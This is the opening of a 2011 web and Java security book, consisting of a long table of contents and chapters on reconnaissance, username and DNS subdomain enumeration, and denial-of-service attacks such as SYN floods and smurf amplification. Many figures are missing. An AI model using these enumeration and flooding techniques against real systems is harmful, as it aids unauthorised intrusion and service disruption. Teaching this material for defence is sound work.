Saltar al contenido principal
Java,
JBoss, Tomcat &
Web Application
Security
D e f e n s i a
2 0 1 1
Rafel Ivgi
This book introduces the world of hacking and involves
the reader with the current players, the rules of the
game, motivation and new trends.
1 | P a g e
TABLE OF CONTENTS
Introduction to Web Application Security..................................................................................... 15
Foot-printing visiting Reconnaissance....................................................................................... 15
Foot-Printing each Service Server Software Name and Version ........................................... 15
Enumeration Overview of System Hacking Cycle...................................................................... 19
Enumerating the allowed HTTP Methods on a Web Server:................................................. 19
Enumerating Usernames Using Google..................................................................................... 20
Exposed Configuration Files .................................................................................................. 20
Private User Directories............................................................................................................. 21
Apache User Enumeration..................................................................................................... 21
WordPress Authors Template User Enumeration Vulnerability ........................................... 22
DNS Enumeration...................................................................................................................... 24
Dictionary Based DNS Enumeration...................................................................................... 24
Brute Forcing DNS Sub-Domains............................................................................................... 25
Denial-of-Service Real World Scenario of D.o.S Attacks ........................................................... 26
Ping of Death......................................................................................................................... 26
Permanent denial-of-service attacks – PDOS........................................................................ 26
IP Spoofing................................................................................................................................. 27
Land Attack................................................................................................................................ 27
SYN Flood............................................................................................................................... 28
SYN Flood + IP Spoofing......................................................................................................... 30
Reflected attack: Source IP Spoofing + SYN Sent ...................................................................... 31
Distributed attack – DDOS..................................................................................................... 32
Amplification/Smurf attack ................................................................................................... 34
Session Hi-Jacking - What is Session Hi-Jacking?....................................................................... 36
Hacking Web Servers How Web Servers Work ......................................................................... 42
Components of a generic web application system ............................................................... 42
URL mappings to the web application system .......................................................................... 43
Flowchart for a one-way web hack ....................................................................................... 44
Finding the entry point.......................................................................................................... 45
2 | P a g e
Exploiting URL parsing........................................................................................................... 46
Exploiting poorly validated input parameters....................................................................... 46
Exploiting SQL injection......................................................................................................... 46
Automating the POST process............................................................................................... 48
Web based command prompt............................................................................................... 49
File uploader.......................................................................................................................... 52
One-Way Privilege Escalation................................................................................................ 54
Web Application Vulnerabilities Web Application Setup.......................................................... 55
XSS – Cross-Site-Scripting...................................................................................................... 55
Automated exploiting bots.................................................................................................... 59
Cross Site Request Forgery (CSRF/XSRF/Session Riding)....................................................... 60
Open/Un-Validated Site Redirection / Cross Domain Redirect............................................. 63
SQL-injection - What is SQL Injection? ...................................................................................... 67
Introduction........................................................................................................................... 67
SQL injection Prevention....................................................................................................... 72
Web-Based Password Cracking Techniques Authentication – Definition................................ 74
Linux Hacking - Why Linux?....................................................................................................... 81
Linux/Apache privilege escalation......................................................................................... 81
Uploading the UNIX attack tools ........................................................................................... 81
ptrace1.c................................................................................................................................ 81
Buffer Overflows Why is Programs/Applications Vulnerable?.................................................. 88
Verify the bug........................................................................................................................ 88
Process Memory.................................................................................................................... 90
The Stack ............................................................................................................................... 92
The debugger....................................................................................................................... 101
Determining the buffer size to write exactly into EIP ......................................................... 105
Find memory space to host the shellcode .......................................................................... 109
Jump to the shellcode in a reliable way .............................................................................. 112
Get shellcode and finalize the exploit ................................................................................. 118
What if you want to do something else than launching calc? ............................................ 120
3 | P a g e
Heap Overflows................................................................................................................... 124
Exploiting Heap Overflows .................................................................................................. 126
Off-By-One........................................................................................................................... 130
Signed vs. Un-Signed ........................................................................................................... 130
Memory Protection Mechanisms........................................................................................ 131
SafeSEH................................................................................................................................ 132
Address Space Layout Randomization (ASLR) ..................................................................... 133
NX (No eXecute – Hardware DEP)....................................................................................... 134
Basic Intoduction To Cryptography ......................................................................................... 138
Hash..................................................................................................................................... 138
MD5 HASH “Reverse”.......................................................................................................... 139
Rainbow Tables.................................................................................................................... 140
SSL........................................................................................................................................ 141
Java Language Security and Bytecode Verification ..................................................................... 143
Acceptance-test driven development for web applications ....................................................... 160
ATDD is a simple process change that can have far-reaching implications for your
development projects. ............................................................................................................ 160
From acceptance tests to ATDD .............................................................................................. 161
ATDD in practice...................................................................................................................... 161
Automating your acceptance tests...................................................................................... 162
ATDD tools........................................................................................................................... 163
Automating acceptance tests for web applications................................................................ 164
In conclusion............................................................................................................................ 165
Java 7: What's in it for developers .......................................................................................... 166
After a long wait and a rough start, Java 7 brings a multitude of improvements for
developers........................................................................................................................... 166
Crash exploit – floating point conversion............................................................................ 167
Escaping the Java Sandbox – Was it ever done?..................................................................... 172
Avoiding NoSQL-injection with MongoDB........................................................................... 172
Secure APIs .......................................................................................................................... 172
Insecure APIs ....................................................................................................................... 173
4 | P a g e
How to encode a URL string or form parameter in java ............................................................. 174
How to use URLEncoder to encode a string and URLDecoder to decode the encoded string
............................................................................................................................................. 175
Result................................................................................................................................... 175
Security code Scanning................................................................................................................ 193
Objectives................................................................................................................................ 193
Industry Application Security Offerings................................................................................... 193
Automated vs. Manual: Advantages ....................................................................................... 193
What Automated Solutions Miss............................................................................................. 194
Conducting the Assessment .................................................................................................... 194
Commercial Dynamic Scanning Tools...................................................................................... 195
Open Source and Low Cost Scanners ...................................................................................... 195
Code Scanning Tools................................................................................................................ 196
Client Side Web Proxies........................................................................................................... 196
Paros Proxy.............................................................................................................................. 197
W3af - Web application attack and audit framework............................................................. 199
IBM Rational App Scan ............................................................................................................ 204
HP Web Inspect ....................................................................................................................... 210
Summary.................................................................................................................................. 215
Enterprise Code Vulnerability Management........................................................................... 233
Cigital’s Enterprise Security Portal (ESP) ............................................................................. 233
Features and Benefits:............................................................................................................. 234
Submissions Portal .............................................................................................................. 234
Analysis – Getting Deeper Results....................................................................................... 234
Reporting............................................................................................................................. 235
Web Application.......................................................................................................................... 236
Gartnet Magic Quadrant ......................................................................................................... 236
WASC Web App Security Statistics.......................................................................................... 241
Summary.............................................................................................................................. 241
Data analysis........................................................................................................................ 242
5 | P a g e
Data analysis according to PCI DSS requirements....................................................................... 251
APPENDIX 1: RISK ASSESSMENT METHODOLOGY....................................................................... 256
APPENDIX 2: ADDITIONAL VULNERABILITY CLASSIFICATION...................................................... 258
APPENDIX 3: STATISTICS.............................................................................................................. 259
Overall Data............................................................................................................................. 259
Automatic scans ...................................................................................................................... 262
Black Box.................................................................................................................................. 264
White Box................................................................................................................................ 266
OWASP Application Security Verification Standard (ASVS)......................................................... 269
Types of security verification .................................................................................................. 269
ASVS......................................................................................................................................... 269
ASVS Detailed requirements ................................................................................................... 270
ASVS Verification Requirements Matrix.................................................................................. 271
Quasi-scientific quantitative matrix analysis........................................................................... 272
Examples of what requirements CAN be verified by automatic code scan ............................ 272
Examples of what requirements CANNOT be verified using automated code scan............... 272
Problems in automatic source code scan................................................................................ 273
Mixing automation and manual work..................................................................................... 273
From manual review to automation ....................................................................................... 274
Conclusion ............................................................................................................................... 274
Using Automatic Tools to Discover Java Security & Reliability Vulnerabilities ....................... 275
Fortify 360: .......................................................................................................................... 275
Another Example:................................................................................................................ 277
Weak XML Schema: Type Any ............................................................................................. 281
Weak XML Schema: Lax Processing..................................................................................... 283
Passwords stored in clear text/base64 in code:.................................................................. 285
Unreleased Resource Streams............................................................................................. 286
Null Dereference ................................................................................................................. 289
Path Manipulation............................................................................................................... 291
Log Forging .......................................................................................................................... 294
6 | P a g e
Command Injection ............................................................................................................. 297
Often Misused: Authentication........................................................................................... 299
Unreleased Resource: Database ......................................................................................... 301
Denial Of Service ................................................................................................................. 304
Password Management: Hardcoded Password................................................................... 307
SQL Injection: iBatis Data Map ............................................................................................ 309
Common Java Code Security Pitfalls ....................................................................................... 311
OWASP ESASPI 2...................................................................................................................... 318
ESAPI 2.0.1 API............................................................................................................................. 318
Java & OpenSSO ...................................................................................................................... 321
Importing the Root CA Certificate for Secure OpenSSO Rainbow Connections ................. 321
RedHat Security JBoss Software & Platform Provider............................................................. 322
JBOSS Security ............................................................................................................................. 335
What is JBoss........................................................................................................................... 335
J2EE Security Configuration and Architecture......................................................................... 335
8.1. J2EE Declarative Security Overview ................................................................................. 336
8.1.1. Security References................................................................................................... 339
8.1.2. Security Identity ........................................................................................................ 340
8.1.3. Security roles............................................................................................................. 341
8.2. An Introduction to JAAS................................................................................................ 347
The JBoss Security Model.................................................................................................... 354
8.5. The Secure Remote Password (SRP) Protocol.................................................................. 407
Secure JMX Console (Authentication Only)......................................................................... 436
Secure JMX Console (Access Control) ................................................................................. 438
Secure the JMX Invokers (Authentication Only).................................................................. 439
Secure the JMX Invokers (Authorization/Access Control)................................................... 440
4.2.1. Modifications Required (Use Case 1) ........................................................................ 440
................................................................................................... 441
Integrate security infrastructures with JBossSX...................................................................... 442
JBossSX uses JAAS to integrate application servers and security infrastructures............... 442
7 | P a g e
J2EE declarative security overview.............................................................................................. 443
Enterprise beans security references.................................................................................. 445
Web application security constraints...................................................................................... 448
Specify the security domain in JBoss........................................................................................... 449
What is JAAS? .......................................................................................................................... 452
The JAAS Core Classes ......................................................................................................... 452
Subject and Principal........................................................................................................... 452
Authentication classes......................................................................................................... 453
Inside the JBossSX JaasSecurityManager ................................................................................ 456
The JAAS in JaasSecurityManager ........................................................................................... 458
The security check ............................................................................................................... 458
JBossSX custom login modules................................................................................................ 460
JBossSX Subject usage patterns........................................................................................... 461
Support for the Subject usage pattern................................................................................ 461
Write a custom login module.............................................................................................. 464
An example.......................................................................................................................... 465
The tutorial1.ear contents................................................................................................... 470
Test the tutorial1.ear deployment from Java Client ........................................................... 483
example1-test0.................................................................................................................... 484
Exploring.............................................................................................................................. 486
Secure your J2EE apps............................................................................................................. 487
Removing the Invokers............................................................................................................ 488
HTTP Invokers...................................................................................................................... 488
HTTPInvoker for JNDI, EJB and JMX..................................................................................... 489
HTTPInvoker for JMS ........................................................................................................... 489
Other invokers..................................................................................................................... 489
SecureTheInvokers .................................................................................................................. 489
Enabling authentication to the RMIAdaptor service........................................................... 489
Enabling authorization to the RMIAdaptor service................................................................. 490
The RMI Class Loading Service ................................................................................................ 491
8 | P a g e
Securing the RMI Dynamic ClassLoading Service ................................................................ 492
Removing the RMI Dynamic ClassLoading Service.............................................................. 493
Secure Using a Tomcat (or another webserver) for dynamic classloading......................... 493
JBossMQ Security Configuration ............................................................................................. 493
Identify a security domain................................................................................................... 493
Configure MDB:s to use security......................................................................................... 494
Use authenticated connections in client code.................................................................... 495
Configure security on the topics and queues...................................................................... 495
Disable Security ................................................................................................................... 495
Removing HSQLDB................................................................................................................... 496
JBoss 3.2 and 4.0.x............................................................................................................... 496
JBoss AS 5.x.x....................................................................................................................... 497
Configuring JBoss for use Behind a Firewall........................................................................ 497
One possible configuration for RMI through a firewall....................................................... 499
PooledInvoker...................................................................................................................... 500
Using mod_proxy with JBoss bundle and Apache2.2.x....................................................... 502
Whentousemod_jkandwhentousemod_proxyforload-balancing............................................. 504
Whentousemod_proxy+mod_proxy_httpandmod_proxy+mod_proxy_ajpforload-balancing.... 505
Usingstickysessions:................................................................................................................... 505
Goingoverthe8KAJPheaderslimits: ........................................................................................... 505
Set Up A Keystore................................................................................................................ 506
SSLSetup .............................................................................................................................. 506
Using a trusted certificate obtained from a well known CA ............................................... 508
Authenticationscenarios............................................................................................................. 509
Setup..................................................................................................................................... 509
UseCases .............................................................................................................................. 509
1-SSLenabledontheserver-thecommoncase....................................................................... 509
4-SSLenabledontheserverwithanopensslCAissuedclientcert-akamutualauthenticationwithCA
issuedclientcert..................................................................................................................... 515
Another(untested)keystore/opensslrecipe:................................................................................. 517
9 | P a g e
Limiting client access using Tomcat (Engine, Host, or Context level) ................................. 520
Limitingclientaccessusingaservletfilter(Servletorurl-patternlevel).......................................... 521
ConfiguringAJavaSecurityManager............................................................................................... 522
HowtoRunJBosswithaJavaSecurityManager ............................................................................ 522
SetUpAMysqlDatasource ............................................................................................................ 523
SettingupaMySQLdatasource.................................................................................................... 524
Downloadthedriver............................................................................................................... 524
Configurethedatasource........................................................................................................ 524
JBossMQ ............................................................................................................................... 525
Troubleshooting..................................................................................................................... 525
Examples............................................................................................................................... 525
jGuard...................................................................................................................................... 526
jBoss......................................................................................................................................... 527
DWR.............................................................................................................................................. 528
securingDWRwithjGuard................................................................................................................. 529
install DWR in the webapp...................................................................................................... 529
DWR.xml.................................................................................................................................. 529
DWR1Permission : a dedicated Permission............................................................................. 529
DWR1AccessControl................................................................................................................ 530
what's about jGuard and DWR interactions?.......................................................................... 530
Chapter 3. security architecture.............................................................................................. 531
3.1. securing an application..................................................................................................... 531
3.1.1. java security architecture.......................................................................................... 531
Note..................................................................................................................................... 532
Caution ................................................................................................................................ 533
3.2. Which jGuard security scopes? ........................................................................................ 533
3.2.1. jGuard and jee users.................................................................................................. 533
3.2.2. security scopes .......................................................................................................... 533
3.3. debugging......................................................................................................................... 534
3.4. configuration files............................................................................................................. 535
10 | P a g e
3.4.1. configuration files used in every context (standalone and web applications).......... 535
Chapter 4. java authentication................................................................................................ 538
4.1. Overall Authentication part.............................................................................................. 538
4.2. AuthenticationManager ................................................................................................... 539
4.2.1. description................................................................................................................. 539
4.2.2. configuration ............................................................................................................. 539
4.2.3. implementations ....................................................................................................... 540
4.3. JAAS Authentication process............................................................................................ 542
4.3.1. javax.security.auth.login.LoginContext ..................................................................... 542
4.3.2. javax.security.auth.callback.CallbackHandler ........................................................... 542
4.3.3. loginModules............................................................................................................. 543
4.3.4. javax.security.auth.login.Configuration .................................................................... 558
4.3.5. javax.security.auth.Subject ....................................................................................... 558
User Security and Access Control in JBoss portals .................................................................. 558
Authentication......................................................................................................................... 559
Authorization........................................................................................................................... 560
User and role management......................................................................................................... 560
The portal permission.................................................................................................................. 562
The authorization provider.......................................................................................................... 562
Making a programmatic security check ...................................................................................... 563
Configuring an authorization domain ......................................................................................... 564
LDAP configuration.................................................................................................................. 565
Single sign-on........................................................................................................................... 567
Implementing security improvements in the JBossAS ............................................................ 571
JMX Console ........................................................................................................................ 571
Enabling JMX Console security in JBoss 5.0 and previous versions .................................... 572
Enabling the JMX Invokers security in all JBoss versions .................................................... 573
Enabling the JMX Console security in JBoss 6.0 .................................................................. 573
Securing the server for production environments.................................................................. 574
Securing the JBPM Console ................................................................................................. 574
11 | P a g e
Securing Web Services in JBoss Application Server with WS-Security.................................... 575
Encrypting web messages ................................................................................................... 577
Generating the certificate ................................................................................................... 578
Securing the server using WS-Security................................................................................ 580
Securing the client using WS-Security................................................................................. 583
Summary.............................................................................................................................. 588
JAAS – Authentication with JBOSS, FORM-BASED................................................................... 588
Java Authentication and Authorization Service, Form based Authentication .................... 588
Authentication using JAAS....................................................................................................... 597
What is JAAS? ...................................................................................................................... 597
Classes and interfaces ......................................................................................................... 598
Administration..................................................................................................................... 599
Application interface ........................................................................................................... 599
Security system integration................................................................................................. 599
What are authentication and authorization?...................................................................... 600
The process of authentication............................................................................................. 600
JAAS configuration in detail................................................................................................. 601
Authentication with a SecurityManager ............................................................................. 604
EncryptingDataSourcePasswords................................................................................................ 605
Asimpleloginmoduleforencryptingadatasourcepassword ......................................................... 605
JBoss AS 3.2.x....................................................................................................................... 606
JBoss AS 4.0.x or 4.2.x.......................................................................................................... 606
JBoss AS 5.1.x....................................................................................................................... 606
A KeyStore based login module for encrypting a datasource password............................. 608
org.jboss.mq.security.SecurityManager.............................................................................. 612
Security (http://wiki.apache.org/tapestry/Tapestry5HowTos) .............................................. 618
Authentication and Authorization related .......................................................................... 618
Integrity ............................................................................................................................... 618
Server Hardening – Implementation Guide (Apache Proxy, Apache Tomcat, Oracle, CentOS).. 620
Add YUM RPM Repositories .................................................................................................... 622
12 | P a g e
Add RPMForge..................................................................................................................... 622
Add EPEL.............................................................................................................................. 622
Update the Machine................................................................................................................ 622
Apache Hardening................................................................................................................... 623
Apache SSL Hardening:........................................................................................................ 623
Mod_Evasive – Anti-D.O.S Apache Module ........................................................................ 624
Mod_Security – An OpenSource Web Application Firewall................................................ 625
1.1 Disabling Dangerous HTTP Verbs .................................................................................. 628
1.1.1. Disable TRACE Method........................................................................................ 628
1.1.2. Rewrite Against TRACE/TRACK............................................................................ 628
1.1.3. Rewrite Get, Head & Post as a Whitelist............................................................. 629
1.2. Define Server Hostname ............................................................................................. 629
1.3. Mail Username root exposes Linux Usage .................................................................. 629
1.4. Remove Script Aliases for unused directories (such as cgi-bin…) ............................... 629
2. Operating System (CentOS 5.5) Hardening:........................................................................ 632
2.1. Remove unrequired packages..................................................................................... 632
2.2. Remove system messages/banners ............................................................................ 632
2.3. Harden SSH.................................................................................................................. 633
2.3.1. Upgrading SSH (from default 3.4 to stable 5.8p2) .............................................. 633
2.3.2. Harden Server Configuration............................................................................... 634
2.3.3. Harden the SSH Client ......................................................................................... 635
2.4. Disable IPv6 ................................................................................................................. 635
2.5. Disable unused/unrequired services........................................................................... 635
2.6. Add Scary banner message.......................................................................................... 637
2.7. TCP/IP Hardening ........................................................................................................ 637
2.8. IPTables ....................................................................................................................... 637
3. Apache Tomcat 6.0 Hardening: ........................................................................................... 639
3.1. Tomcat Session ID default name modification:........................................................... 639
3.2. Tomcat session HTTPOnly flag: ................................................................................... 639
3.3. Tomcat – Change Server Banner:................................................................................ 639
13 | P a g e
3.4. Tomcat – Change Tomcat Port to Listen Only Internally:............................................ 640
3.5. Tomcat – Disable The HTTP Verb Trace: ..................................................................... 640
3.6. Tomcat – Define an index page:.................................................................................. 641
3.7. Tomcat – One single custom error page for all errors: ............................................... 641
3.8. Tomcat – Remove Tomcat Example Scripts: ............................................................... 644
3.9. Tomcat – Remove Tomcat Manager application: ....................................................... 644
4. SELinux – Optional Hardening:............................................................................................ 645
4.1. SELinux Apache Hardening.......................................................................................... 645
4.2. SELinux for other services (Experts Only).................................................................... 645
4.2.1. Enable Hardened HTTP........................................................................................ 645
4.2.2. Disable FTP .......................................................................................................... 646
4.2.3. Disable NIS Clients............................................................................................... 646
Apache and Tomcat Security................................................................................................... 646
Policy File Format ................................................................................................................ 649
The Default Policy File ......................................................................................................... 649
Starting Tomcat With A SecurityManager........................................................................... 654
The Default Properties File.................................................................................................. 654
Apache tomcat Website Code Examples – What NOT TO DO ................................................ 664
1. Create/edit the XML file .................................................................................................. 664
2. Code Your Application's Use Of This Resource................................................................ 664
3. Code Your Application's Use Of This Resource................................................................ 665
Java Based SQL Servers: .......................................................................................................... 665
HSQLDB - 100% Java Database http://hsqldb.org/ ............................................................. 665
Connecting Apache to MySQL in SSL....................................................................................... 667
Generating an internal SSL Certificate (for tomcat)................................................................ 667
Create the self-signed keystore........................................................................................... 667
Turn the keystore into a X.509 certificate........................................................................... 667
Delete existing trusted certificate....................................................................................... 667
Import the certificate into cacerts – JRE trusted certificates.............................................. 667
Fixing Tomcat’s binding problems....................................................................................... 668
14 | P a g e
Using an SSL enforcing Connection string........................................................................... 668
How to configure MySQL DataSource in Tomcat 6 ................................................................. 669
Creating a JDBC by code:..................................................................................................... 671
package jdbctest;................................................................................................................. 671
Alternatives to JDBC .................................................................................................................... 672
HA-JDBC: High-Availability JDBC.............................................................................................. 672
Overview.................................................................................................................................. 672
Features................................................................................................................................... 672
Dependent Libraries................................................................................................................ 672
Related Software..................................................................................................................... 672
I need to pass additional parameters to my JDBC driver. How can I specify these in my HA-
JDBC configuration? ............................................................................................................ 673
How does HA-JDBC compare to Sequoia?........................................................................... 673
Tomcat Security........................................................................................................................... 676
Apache Tomcat 7..................................................................................................................... 699
More on Cat's Configuration ............................................................................................ 699
Deploying Your Web Application in Tomcat............................................................. 699
Tomcat's Manager........................................................................................................... 702
Tomcat with SSL .............................................................................................................. 702
User Authentication in Tomcat.................................................................................... 703
Database Connection Pool (for MySQL) .................................................................... 709
Installing SSL Support & Certificate on Apache Tomcat.......................................................... 713
Configure Tomcat's Resource Factory................................................................................. 725
Assiting software from the Linux world ...................................................................................... 735
Authbind.................................................................................................................................. 735
FreeBSD jail.............................................................................................................................. 735
Goals.................................................................................................................................... 736
15 | P a g e
Introduction to Web Application Security
Foot-printing visiting Reconnaissance
Reconnaissance is the step where the attacker attempts to retrieve as much information as
possible on the target. Reconnaissance is truly an art and is one of the most important stages of
the attack process. It is the eyes of the hacker on the hacking court and without it he must
attack blindly, minimizing the odds of success to its minimum.
Foot-Printing each Service Server Software Name and Version
Foot-Printing HTTP Servers
Getting the server type and disclosing internal information such as the local machine’s internal name, internal IP, usage of a proxy or
a reverse proxy and etc…
The following error page reveals that the server is Apache Tomcat, the Machine’s internal name and that the error source was the
proxy component:
The following reveals the server’s type and its exact version:
16 | P a g e
It is possible to change the values of the request parameters, retrieve application errors and
determine the operating system and the local path of the website root folder:
It is possible to identify the server type, the development platform, and installed plugins by
inspecting the returned HTTP headers and the supported HTTP Methods.
17 | P a g e
18 | P a g e
19 | P a g e
Enumeration Overview of System Hacking Cycle
Enumerating the allowed HTTP Methods on a Web Server:
20 | P a g e
Enumerating Usernames Using Google
Exposed Configuration Files
21 | P a g e
Private User Directories
Apache User Enumeration
http://www.example.com/~<username>
When a remote user makes a request for a possible user's default home page, the
server returns one of three responses:
 In a case where username is a valid user account, and has been configured with a
homepage, the server responds with the user's homepage.
 When username exists on the system, but has not been assigned a homepage
document, the server returns the message "You don't have permission to access
/~username on this server."
 If the tested username does not exist as an account on the system, the Apache
server's response includes the message "The requested URL /~username was not
found on this server." or refers to the default error page configured for this error.
For Example:
22 | P a g e
When the user doesn’t exit, it redirects to the website main page:
WordPress Authors Template User Enumeration Vulnerability
There are other places where you might be able to find some usernames. A good
example is WordPress author templates which allow you to extract usernames through
URLs with the following syntax: /wordpress/author/authorname/
i.e.:
http://www.target-domain.com/wordpress/author/admin/
http://www.target-domain.com/wordpress/author/root/
A case when the user doesn’t exist:
23 | P a g e
A case when the user exists:
24 | P a g e
DNS Enumeration
A penetration test project beings in collecting information and mapping all the remotely
accessible organization’s servers. The Domain Name Server can be used to extract some
of the existing subdomains and discover more IPs, with different server types, from Web
Servers to Firewalls, VPNs and Citrix Servers.
The DNS sub domains can be enumerated by using a dictionary of common sub domain
names such as “mail”, “webmail”, “vpn”, “backoffice”, “fw” and etc…
In order to find customized sub domain names, an attacker must run a full remote brute
force attack and is likely to disclose all subdomains names from 1 to 8 characters length
with letters and numbers. Since the DNS protocols is UDP based, the brute force attack
faster than most other network brute force attack.
Dictionary Based DNS Enumeration
25 | P a g e
Brute Forcing DNS Sub-Domains
26 | P a g e
Denial-of-Service Real World Scenario of D.o.S Attacks
Ping of Death
A ping of death (abbreviated "POD") is a type of attack on a computer that involves sending a
malformed or otherwise malicious ping to a computer. A ping is normally 32bytes in size (or 84
bytes when IP header is considered); historically, many computer systems could not handle a
ping packet larger than the maximum IPv4 packet size, which is 65,535 bytes. Sending a ping of
this size could crash the target computer.
In early implementations of TCP/IP, this bug was easy to exploit. This exploit has affected a wide
variety of systems, including UNIX, Linux, Mac, Windows, printers, and routers. However, most
systems since 1997-1998 have been fixed, so this bug is mostly historical.
Generally, sending a 65,536 byte ping packet is illegal according to the IP protocol, but a packet
of such a size can be sent if it is fragmented; when the target computer reassembles the packet,
a buffer overflow can occur, which often causes a system crash.
In recent years, a different kind of ping attack has become widespread - ping flooding simply
floods the victim with so much ping traffic that normal traffic fails to reach the system (a basic
denial-of-service attack).
Permanent denial-of-service attacks – PDOS
A permanent denial-of-service (PDoS), also known loosely as phlashing, is an attack that
damages a system so badly that it requires replacement or reinstallation of hardware. Unlike the
distributed denial-of-service attack, a PDoS attack exploits security flaws which allow remote
administration on the management interfaces of the victim's hardware, such as routers,
printers, or other networking hardware. The attacker uses these vulnerabilities to replace a
device's firmware with a modified, corrupt, or defective firmware image—a process which when
done legitimately is known as flashing. This therefore "bricks" the device, rendering it unusable
for its original purpose until it can be repaired or replaced.
The PDoS is a pure hardware targeted attack which can be much faster and requires fewer
resources than using a botnet in a DDoS attack. Because of these features, and the potential and
high probability of security exploits on Network Enabled Embedded Devices (NEEDs), this
technique has come to the attention of numerous hacker communities. PhlashDance is a tool
created by Rich Smith (an employee of Hewlett-Packard's Systems Security Lab) used to detect
and demonstrate PDoS vulnerabilities at the 2008 EUSecWest Applied Security Conference in
London.
27 | P a g e
IP Spoofing
Land Attack
The attack involves sending a spoofed TCP SYN packet (connection initiation) with the target
host's IP address and an open port as both source and destination.
The reason a LAND attack works is because it causes the machine to reply to itself continuously.
Definition: "A LAND attack involves IP packets where the source and destination address are set
to address the same device."[Citation needed]
28 | P a g e
Other land attacks have since been found in services like SNMP and Windows 88/TCP
(Kerberos/global services) which were caused by design flaws where the devices accepted
requests on the wire appearing to be from them and causing replies repeatedly.
SYN Flood
A SYN flood is a form of denial-of-service attack in which an attacker sends a succession of SYN
requests to a target's system. Some systems can mis-detect a SYN Flood when being scanned for
open proxies, as commonly done by IRC servers and services. These are not SYN Floods, merely
an automated system designed to check the connecting IP.
When a client attempts to start a TCP connection to a server, the client and server exchange a
series of messages which normally runs like this:
 The client requests a connection by sending a SYN (synchronize) message to the server.
 The server acknowledges this request by sending SYN-ACK back to the client.
 The client responds with an ACK, and the connection is established.
 This is called the TCP three-way handshake, and is the foundation for every connection
established using the TCP protocol.
The SYN flood is a well-known type of attack and is generally not effective against modern
networks. It works if a server allocates resources after receiving a SYN, but before it has received
the ACK.
There are two methods, but both involve the server not receiving the ACK. A malicious client can
skip sending this last ACK message. Or by spoofing the source IP address in the SYN, it makes the
server send the SYN-ACK to the falsified IP address, and thus never receive the ACK. In both
cases the server will wait for the acknowledgement for some time, as simple network
congestion could also be the cause of the missing ACK.
If these half-open connections bind resources on the server, it may be possible to take up all
these resources by flooding the server with SYN messages. Once all resources set aside for half-
open connections are reserved, no new connections (legitimate or not) can be made, resulting
in denial of service. Some systems may malfunction badly or even crash if other operating
system functions are starved of resources this way.
The technology often used in 1996 for allocating resources for half open TCP connections
involved a queue which was often very short (e.g., 8 entries long) with each entry of the queue
being removed upon a completed connection, or upon expiry (e.g., after 3 minutes[2]). When
the queue was full, further connections failed. With the examples above, all further connections
would be prevented for 3 minutes by sending a total of 8 packets. A well-timed 8 packets every
29 | P a g e
3 minutes would prevent all further TCP connections from completing. This allowed for a Denial
of Service attack with very minimal traffic.
SYN cookies provide protection against the SYN flood by eliminating the resources allocated on
the target host. Limiting new connections per source per timeframe is not a general solution
since the attacker can spoof the packets to have multiple sources. Reflector routers can also be
used as attackers, instead of client machines.
Normal:
SYN-flood:
30 | P a g e
SYN Flood + IP Spoofing
31 | P a g e
Reflected attack: Source IP Spoofing + SYN Sent
32 | P a g e
Distributed attack – DDOS
A distributed denial of service attack (DDoS) occurs when multiple systems flood the bandwidth
or resources of a targeted system, usually one or more web servers. These systems are
compromised by attackers using a variety of methods.
Malware can carry DDoS attack mechanisms; one of the better-known examples of this was
MyDoom. Its D.o.S mechanism was triggered on a specific date and time. This type of DDoS
involved hardcoding the target IP address prior to release of the malware and no further
interaction was necessary to launch the attack.
33 | P a g e
A system may also be compromised with a Trojan, allowing the attacker to download a zombie
agent (or the Trojan may contain one). Attackers can also break into systems using automated
tools that exploit flaws in programs that listen for connections from remote hosts. This scenario
primarily concerns systems acting as servers on the web.
Stacheldraht is a classic example of a DDoS tool. It utilizes a layered structure where the attacker
uses a client program to connect to handlers, which are compromised systems that issue
commands to the zombie agents, which in turn facilitate the DDoS attack. Agents are
compromised via the handlers by the attacker, using automated routines to exploit
vulnerabilities in programs that accept remote connections running on the targeted remote
hosts. Each handler can control up to a thousand agents.
These collections of systems compromisers are known as botnets. DDoS tools like stacheldraht
still use classic D.o.S attack methods centered on IP spoofing and amplification like smurf attacks
and fraggle attacks (these are also known as bandwidth consumption attacks). SYN floods (also
known as resource starvation attacks) may also be used. Newer tools can use DNS servers for
D.o.S purposes. See next section.
Simple attacks such as SYN floods may appear with a wide range of source IP addresses, giving
the appearance of a well distributed DDoS. These flood attacks do not require completion of the
TCP three way handshake and attempt to exhaust the destination SYN queue or the server
bandwidth. Because the source IP addresses can be trivially spoofed, an attack could come from
a limited set of sources, or may even originate from a single host. Stack enhancements such as
SYN cookies may be effective mitigation against SYN queue flooding, however complete
bandwidth exhaustion may require involvement
Unlike MyDoom's DDoS mechanism, botnets can be turned against any IP address. Script kiddies
use them to deny the availability of well-known websites to legitimate users. More sophisticated
attackers use DDoS tools for the purposes of extortion — even against their business rivals.
It is important to note the difference between a DDoS and D.o.S attack. If an attacker mounts an
attack from a single host it would be classified as a D.o.S attack. In fact, any attack against
availability would be classed as a Denial of Service attack. On the other hand, if an attacker uses
a thousand systems to simultaneously launch smurf attacks against a remote host, this would be
classified as a DDoS attack.
The major advantages to an attacker of using a distributed denial-of-service attack are that
multiple machines can generate more attack traffic than one machine, multiple attack machines
are harder to turn off than one attack machine, and that the behavior of each attack machine
can be stealthier, making it harder to track down and shut down. These attacker advantages
cause challenges for defense mechanisms. For example, merely purchasing more incoming
34 | P a g e
bandwidth than the current volume of the attack might not help, because the attacker might be
able to simply add more attack machines.
It should be noted that in some cases a machine may become part of a DDoS attack with the
owner's consent. An example of this is the 2010 DDoS attack against major credit card
companies by supporters of WikiLeaks. In cases such as this, supporters of a movement (in this
case, those opposing the arrest of WikiLeaks founder Julian Assange) choose to download and
run DDoS software.
Amplification/Smurf attack
The Smurf attack is a way of generating significant computer network traffic on a victim
network. This is a type of denial-of-service attack that floods a target system via spoofed
broadcast ping messages.
35 | P a g e
This attack relies on a perpetrator sending a large amount of ICMP echo request (ping) traffic to
IP broadcast addresses, all of which have a spoofed source IP address of the intended victim. If
the routing device delivering traffic to those broadcast addresses delivers the IP broadcast to all
hosts (for example via a layer 2 broadcast), most hosts on that IP network will take the ICMP
echo request and reply to it with an echo reply, multiplying the traffic by the number of hosts
responding. On a multi-access broadcast network, hundreds of machines might reply to each
packet.
In the late 1990s, many IP networks would participate in Smurf attacks (that is, they would
respond to pings to broadcast addresses). Today, thanks largely to the ease with which
administrators can make a network immune to this abuse, very few networks remain vulnerable
to Smurf attacks.
The fix is two-fold:
Configure individual hosts and routers not to respond to ping requests or broadcasts.
Configure routers not to forward packets directed to broadcast addresses. Until 1999, standards
required routers to forward such packets by default, but in that year, the standard was changed
to require the default to be not to forward.
